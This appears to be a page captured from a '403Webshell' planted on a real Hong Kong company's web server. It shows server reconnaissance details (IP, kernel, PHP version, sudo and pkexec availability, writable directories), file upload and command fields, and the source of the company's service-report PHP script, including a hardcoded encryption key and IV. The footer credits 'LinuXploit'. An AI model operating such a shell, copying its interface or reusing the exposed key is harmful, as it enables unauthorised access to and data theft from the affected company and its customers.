403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/onesupport/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/onesupport//report_call_in.php
<?php
	require_once(__DIR__ . '/inc/configure.php');

	function get_user_browser()
	{
		$u_agent = $_SERVER['HTTP_USER_AGENT'];
		$ub      = '';
		if (preg_match('/MSIE/i', $u_agent)) {
			$ub = "ie";
		} elseif (preg_match('/Firefox/i', $u_agent)) {
			$ub = "firefox";
		} elseif (preg_match('/Safari/i', $u_agent)) {
			$ub = "safari";
		} elseif (preg_match('/Chrome/i', $u_agent)) {
			$ub = "chrome";
		} elseif (preg_match('/Flock/i', $u_agent)) {
			$ub = "flock";
		} elseif (preg_match('/Opera/i', $u_agent)) {
			$ub = "opera";
		}

		return $ub;
	}

	$user_browser = get_user_browser();

	if (!function_exists('encrypt_decrypt')) {
		function encrypt_decrypt($action, $string)
		{
			$output = false;

			$encrypt_method = "AES-256-CBC";
			$secret_key     = '4ySxqyry98';
			$secret_iv      = 'BsTsudlvcf';

			// hash
			$key = hash('sha256', $secret_key);

			// iv - encrypt method AES-256-CBC expects 16 bytes - else you will get a warning
			$iv = substr(hash('sha256', $secret_iv), 0, 16);

			if ($action == 'encrypt') {
				$output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv);
				$output = base64_encode($output);
			} else if ($action == 'decrypt') {
				$output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
			}

			return $output;
		}
	}


	if (is_numeric($_GET["id"])) { //encrypt
		$encrypted_string = encrypt_decrypt('encrypt', $_GET["id"]);

		header("Location: report_call_in.php?id=" . $encrypted_string);
	} else { //decrypt
		$decrypt_string = encrypt_decrypt('decrypt', $_GET["id"]);

		$decrypt_string = substr($decrypt_string, 8);

		$sql = "
SELECT job.staff_tel_no as job_staff_tel_no, staff.staff_tel_no as staff_staff_tel_no, job.contact_person as job_contact_person, job.*,customer.*,staff.*, job.id as job_id
FROM sup_job job, v_cm_customer_support customer, sys_login staff
WHERE job.customer_id = customer.cust_id AND job.staff_id = staff.id AND job.deleted = ? AND job.id = ?
GROUP BY job.id
";

		$parameters = array("0", $decrypt_string);

		if (!($sth = $dbh->prepare($sql))) {
			throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
			exit;
		}

		if (!$sth->execute($parameters)) {
			throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
			exit;
		}

		$job_info = $sth->fetch(PDO::FETCH_ASSOC);


	}

?>

<!DOCTYPE html>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
	<title>One Solution: Support</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
	<meta name="keywords" content="One Solution Limited"/>
	<meta name="description" content="One Solution Limited"/>
	<meta name="author" content="One Solution Limited"/>
	<meta http-equiv="X-UA-Compatible" content="IE=8"/>

	<style type="text/css" media="print">
		#print_btn {
			display: none;
		}
	</style>

	<style type="text/css">
		@media print {
			#footer {
				clear: both;
				position: absolute;
				bottom: <?php if($user_browser == "ie") echo "0px"; else echo "0px"; ?>;
			}
		}

		body {
			background-color: #fff;
			width: 910px;
			font-family: arial, helvetica, sans-serif;
			min-height: 297mm;
		}

		#job_date {
			float: left;
			border-bottom: 1px solid #000000;
			width: 257px;
		}

		@page {
			margin: 19.5mm;	/* All margins set to 19.5mm, as ie default */
		}



		#footer {
			page-break-inside: avoid
		}

		#parts_service_status {
			page-break-inside: avoid;
			margin-top: 20px;
		}
	</style>

	<script src="//code.jquery.com/jquery-1.11.0.min.js"></script>
	<script src="//code.jquery.com/jquery-migrate-1.2.1.min.js"></script>
	<script>
		$(function () {

			if (parseInt($("body").height()) > 1170) {
				$('head').append('<style type="text/css">@media print {#footer { position: relative !important; bottom: 0 !important;}}</style>');
			}

			/*if($("#footer").position().top > 1170 && $("#footer").position().top < 1345){
			 $('head').append('<style type="text/css">@media print {#page_break { page-break-after: always;}}</style>');
			 }

			 console.log($("#footer").position().top);*/
		});
	</script>

	<head>

<body>

<div id="head_info" style="width: 910px;">
	<div style="float: right;">
		<button id="print_btn" type="button" onclick="window.print();return false;"> Print</button>
	</div>

	<div style="clear: both"></div>

	<div style="display: table-cell; width: 530px;vertical-align: middle;">
		<img src="images/header_logo.png"/>
	</div>

	<div style="display: table-cell;vertical-align: middle;">
		One Solution Limited<br>Unit 16, 11/F., Wah Shing Centre,<br>11-13 Shing Yip Street, Kwun Tong, <br>Kowloon, Hong Kong<br> Tel : (852) 3189 9000 &nbsp;&nbsp;&nbsp;Fax : (852) 3189 9099<br> Email :
		info@onesolution.com.hk<br>
	</div>
</div>

<div style="clear: both;"></div>

<div style="margin: 40px 0;text-align: center;font-size: 21px; font-weight: bold;text-decoration: underline;">
	SERVICES REPORT
</div>

<div style="margin-top: 10px;">
	<div style="float: left;width: 85px;">
		Customer : &nbsp;
	</div>

	<div style="float: left; border-bottom: 1px solid #000000;width: 90%;">
		<?= $job_info{"company_name"} ?>
	</div>
</div>

<div style="clear: both;"></div>

<div style="margin-top: 20px;">
	<div style="float: left;width: 85px;">
		Contact : &nbsp;
	</div>

	<div style="float: left; border-bottom: 1px solid #000000;width: 45%;margin-right: 98px;">
		<?php if (empty($job_info{"job_contact_person"})) echo "&nbsp;"; else echo $job_info{"job_contact_person"}; ?>
	</div>

	<div style="float: left;width: 85px;">
		Tel No : &nbsp;
	</div>

	<div style="float: left; border-bottom: 1px solid #000000;width: 25%;">
		<?php if (empty($job_info{"contact_tel_no"})) echo "&nbsp;"; else echo $job_info{"contact_tel_no"}; ?>
	</div>

</div>

<div style="clear: both;"></div>

<div style="margin-top: 20px;">
	<div style="float: left;width: 85px;">
		Engineer : &nbsp;
	</div>

	<div style="float: left; border-bottom: 1px solid #000000;width: 45%;margin-right: 98px;">
		<?php
			echo $job_info{"username"};

			if(!empty($job_info["other_staff_id"])){
				$other_staff_id_list = explode(",", $job_info["other_staff_id"]);

				$other_staff_name_list = "";
				foreach($other_staff_id_list as $staff_id){
					$sql3 = "SELECT * from sys_login where id = ?";

					$parameters3 = array($staff_id);

					if (!($sth3 = $dbh->prepare($sql3))) {
						throw new Exception("sql prepare statement failure: $sql3");
					}

					if (!$sth3->execute($parameters3)) {
						throw new Exception("sql execute statement failure: $sql3");
					}

					$staff_info = $sth3->fetch();

					$other_staff_name_list .= ", ".$staff_info["username"];
				}

				echo $other_staff_name_list;
			}
		?>
	</div>

	<div style="float: left;width: 85px;">
		Tel No : &nbsp;
	</div>

	<div style="float: left; border-bottom: 1px solid #000000;width: 25%;">
		<?php if (empty($job_info{"job_staff_tel_no"})) echo "&nbsp;"; else echo $job_info{"staff_tel_no"}; ?>
	</div>

</div>

<div style="clear: both;"></div>

<div style="margin-top: 20px;">
	<div style="float: left;width: 84px;">
		Call Time : &nbsp;
	</div>

	<!--<div style="float: left;">Start : &nbsp; </div>-->

	<div style="float: left; border-bottom: 1px solid #000000;width: 45%;">
		<?= $job_info{"call_time"} ?>
	</div>

	<!--<div style="float: left;">End : &nbsp; </div>-->

	<!--<div style="float: left; border-bottom: 1px solid #000000;width: 130px;margin-right: 55px;">
		<?/*= $job_info{"end_time"} */?>
	</div>-->

	<div style="float: left; margin-left: 111px;width: 74px;">Date : &nbsp; </div>

	<div id="job_date" style="float: left;width: 25%; ">
		<?= $job_info{"call_date"} ?>
	</div>

</div>

<div style="clear: both;"></div>

<div style="margin-top: 20px;">
	<div style="float: left;width: 135px;">
		Service Type :
	</div>

	<div style="float: left; width: 771px;">
		<?php
			$type_list = Job::typeOptions();
			foreach ($type_list as $key => $this_type) {
				if ($job_info{"type"} == $key) {
					$this_checked = "checked";
				} else {
					$this_checked = "";
				}
				?>
				<input type="checkbox" <?= $this_checked ?>><label style="margin-right: 20px;"><?= $this_type ?></label>
				<?php
			}
		?>
	</div>
</div>

<div style="clear: both;"></div>

<div style="margin-top: 20px;">
	<div style="float: left;width: 135px;">
		Remarks :
	</div>

	<div style="float: left; width: 771px; /*background: url(images/underline.png) repeat;*/line-height: 21px;">
		<?php if (empty($job_info{"remarks"})) echo "&nbsp;"; else echo nl2br($job_info{"remarks"}); ?>
	</div>
</div>

<div style="clear: both;"></div>

<?php
	$sql5 = "select * from sup_job_detail where deleted = ? and job_id = ? order by id ASC";
	if (!($sth5 = $dbh->prepare($sql5))) {
		throw new Exception("sql prepare statement failure: $sql5");
	}

	if (!$sth5->execute(array("0", $decrypt_string))) {
		throw new Exception("sql execute statement failure: $sql5");
	}
	$job_detail = $sth5->fetchAll();

	foreach ($job_detail as $key => $this_task) {
		?>
		<div style="margin-top: 20px;">
			<div style="float: left;width: 135px;">
				Job Symptoms :
			</div>

			<div style="float: left; width: 771px; /*background: url(images/underline.png) repeat;*/line-height: 21px;">
				<?= $this_task{"title"} ?>
			</div>
		</div>

		<div style="clear: both;"></div>

		<div style="margin-top: 20px;">
			<div style="float: left;width: 135px;">
				Action :
			</div>

			<div style="float: left; width: 771px;/* background: url(images/underline.png) repeat;*/line-height: 21px;">
				<?php if (empty($this_task{"remarks"})) echo "&nbsp;"; else echo nl2br($this_task{"remarks"}); ?>
			</div>
		</div>

		<div style="clear: both;"></div>

		<div style="margin-top: 20px;">
			<div style="float: left;width: 135px;">
				Job Status :
			</div>

			<div style="float: left; width: 771px;">

				<input type="checkbox" <?php if ($this_task["status"] == 2) echo "checked"; ?>><label style="margin-right: 20px;">Done</label>
				<input type="checkbox" <?php if ($this_task["status"] == 3) echo "checked"; ?>><label style="margin-right: 20px;">Follow
					Up</label>
				<input type="checkbox" <?php if ($this_task["status"] == 4) echo "checked"; ?>><label style="margin-right: 20px;">Cancel</label>
			</div>
		</div>


		<div style="clear: both;"></div>


		<?php for ($i = 0; $i < 0; $i++) { ?>
			<p>test</p>
		<?php } ?>

	<?php } ?>


<div id="parts_service_status">

	Parts Service Status :<br>

	<div style="width: 910px;">
		<table style="width: 910px; border-collapse: collapse;" border="1">
			<tr>
				<td style="width: 20%;">Model.</td>
				<td style="width: 25%;">Part S/N</td>
				<td style="width: 40%;">Description</td>
				<td style="width: 15%;">Qty</td>
			</tr>

			<tr>
				<td>&nbsp;</td>
				<td>&nbsp;</td>
				<td>&nbsp;</td>
				<td>&nbsp;</td>
			</tr>
		</table>
	</div>
</div>

<div id="footer">
	<div style="margin-top: 20px; width: 910px;">
		<div style="float: left; text-align: center;width: 45%;">
			Service confirmed, Accepted & product Received By<br>

			<div style="width: 100%;height: 120px; border-bottom: 1px solid #000;">

			</div>
			<br> Company Chop And Signature
		</div>

		<div style="width: 10%; float: left;">
			&nbsp;
		</div>

		<div style="float: left; text-align: left;width: 45%;">
			Services By:<br>

			<div style="width: 100%;height: 120px; border-bottom: 1px solid #000;">

			</div>
			<br>

			<div style="text-align: center;">
				One Solution Limited
			</div>
		</div>
	</div>

	<div style="clear: both"></div>

</div>

</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit